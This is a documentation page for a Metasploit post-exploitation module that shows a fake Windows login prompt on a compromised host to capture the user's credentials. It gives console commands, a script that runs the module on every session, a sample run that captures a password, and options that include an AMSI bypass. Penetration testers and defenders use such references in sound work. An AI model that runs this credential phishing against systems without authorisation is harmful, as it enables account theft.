Windows Gather User Credentials (phishing) - Metasploit


This page contains detailed information about how to use the post/windows/gather/phish_windows_credentials metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Gather User Credentials (phishing)
Module: post/windows/gather/phish_windows_credentials
Source code: modules/post/windows/gather/phish_windows_credentials.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module is able to perform a phishing attack on the target by popping up a loginprompt. When the user fills credentials in the loginprompt, the credentials will be sent to the attacker. The module is able to monitor for new processes and popup a loginprompt when a specific process is starting. Tested on Windows 7.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/phish_windows_credentials

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/phish_windows_credentials
msf post(phish_windows_credentials) > show options
    ... show and set options ...
msf post(phish_windows_credentials) > set SESSION session-id
msf post(phish_windows_credentials) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/phish_windows_credentials")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module is able to perform a phishing attack on the target by popping up a login prompt. When the user fills credentials in the login prompt, the credentials will be sent to the attacker. The module is able to monitor for new processes and popup a login prompt when a specific process is starting. Tested on Windows 7.

Verification Steps


  1. Start msfconsole
  2. Get meterpreter session
  3. Do: use post/windows/gather/phish_windows_credentials
  4. Do: set SESSION <session id>
  5. Do: run

Options


DESCRIPTION

Message shown in the login prompt.

PROCESS

Prompt if a specific process is started by the target. (e.g. calc.exe or specify * for all processes.)

SESSION

The session to run this module on.

Scenarios


Windows 7 (6.1 Build 7601, Service Pack 1).

  [*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49164) at 2019-12-17 11:47:06 -0700

  msf > use post/windows/gather/phish_windows_credentials
  msf post(windows/gather/phish_windows_credentials) > set SESSION 1
    SESSION => 1
  msf5 post(windows/gather/phish_windows_credentials) > set PROCESS *
    PROCESS => *
  msf5 post(windows/gather/phish_windows_credentials) > exploit

  [+] PowerShell is installed.
  [*] Monitoring new processes.
  [*] [System Process] is already running. Waiting on new instances to start
  [*] System is already running. Waiting on new instances to start
  ...snip...
  [*] New process detected: 2744 notepad.exe
  [*] Killing the process and starting the popup script. Waiting on the user to fill in his credentials...
  [+]

  [+] UserName                   Domain                     Password
  --------                   ------                     --------
  MY                         MY-PC                      P@ssw0rd1!



  [*] Post module execution completed

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/phish_windows_credentials post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/phish_windows_credentials

msf6 post(windows/gather/phish_windows_credentials) > show info

       Name: Windows Gather User Credentials (phishing)
     Module: post/windows/gather/phish_windows_credentials
   Platform: Windows
       Arch: x86, x64
       Rank: Normal

Provided by:
  Wesley Neelen <[email protected]>
  Matt Nelson

Compatible session types:
  Meterpreter

Basic options:
  Name         Current Setting                                                                Required  Description
  ----         ---------------                                                                --------  -----------
  DESCRIPTION  {PROCESS_NAME} needs your permissions to start. Please enter user credentials  yes       Message shown in the loginprompt
  PROCESS                                                                                     no        Prompt if a specific process is started by the target. (e.g. calc.exe or specify * for all processes)
  SESSION                                                                                     yes       The session to run this module on.

Description:
  This module is able to perform a phishing attack on the target by 
  popping up a loginprompt. When the user fills credentials in the 
  loginprompt, the credentials will be sent to the attacker. The 
  module is able to monitor for new processes and popup a loginprompt 
  when a specific process is starting. Tested on Windows 7.

Module Options


This is a complete list of options available in the windows/gather/phish_windows_credentials post exploitation module:

msf6 post(windows/gather/phish_windows_credentials) > show options

Module options (post/windows/gather/phish_windows_credentials):

   Name         Current Setting                                                                Required  Description
   ----         ---------------                                                                --------  -----------
   DESCRIPTION  {PROCESS_NAME} needs your permissions to start. Please enter user credentials  yes       Message shown in the loginprompt
   PROCESS                                                                                     no        Prompt if a specific process is started by the target. (e.g. calc.exe or specify * for all processes)
   SESSION                                                                                     yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/phish_windows_credentials post exploitation module:

msf6 post(windows/gather/phish_windows_credentials) > show advanced

Module advanced options (post/windows/gather/phish_windows_credentials):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   Powershell::Post::dry_run               false            yes       Return encoded output to caller
   Powershell::Post::force_wow64           false            yes       Force WOW64 execution
   Powershell::Post::log_output            false            yes       Write output to log file
   Powershell::Post::timeout               15               yes       Powershell execution timeout, set < 0 to run async without termination
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   TIMEOUT                                 120              yes       The maximum time (in seconds) to wait for any Powershell scripts to complete
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/phish_windows_credentials module can do:

msf6 post(windows/gather/phish_windows_credentials) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/phish_windows_credentials post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/phish_windows_credentials) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

PowerShell is not installed


Here is a relevant code snippet related to the "PowerShell is not installed" error message:

103:	
104:	    # Powershell installed check
105:	    if have_powershell?
106:	      print_good("PowerShell is installed.")
107:	    else
108:	      fail_with(Failure::Unknown, "PowerShell is not installed")
109:	    end
110:	
111:	    # Check whether target system is locked
112:	    locked = client.railgun.user32.GetForegroundWindow()['return']
113:	    if locked == 0

Target system is locked. This post module cannot start the loginprompt when the target system is locked.


Here is a relevant code snippet related to the "Target system is locked. This post module cannot start the loginprompt when the target system is locked." error message:

109:	    end
110:	
111:	    # Check whether target system is locked
112:	    locked = client.railgun.user32.GetForegroundWindow()['return']
113:	    if locked == 0
114:	      fail_with(Failure::Unknown, "Target system is locked. This post module cannot start the loginprompt when the target system is locked.")
115:	    end
116:	
117:	    # Switch to check whether a specific process needs to be monitored, or just show the popup immediatly.
118:	    case process
119:	    when nil

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Wesley Neelen <security[at]forsec.nl>
  • Matt Nelson

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.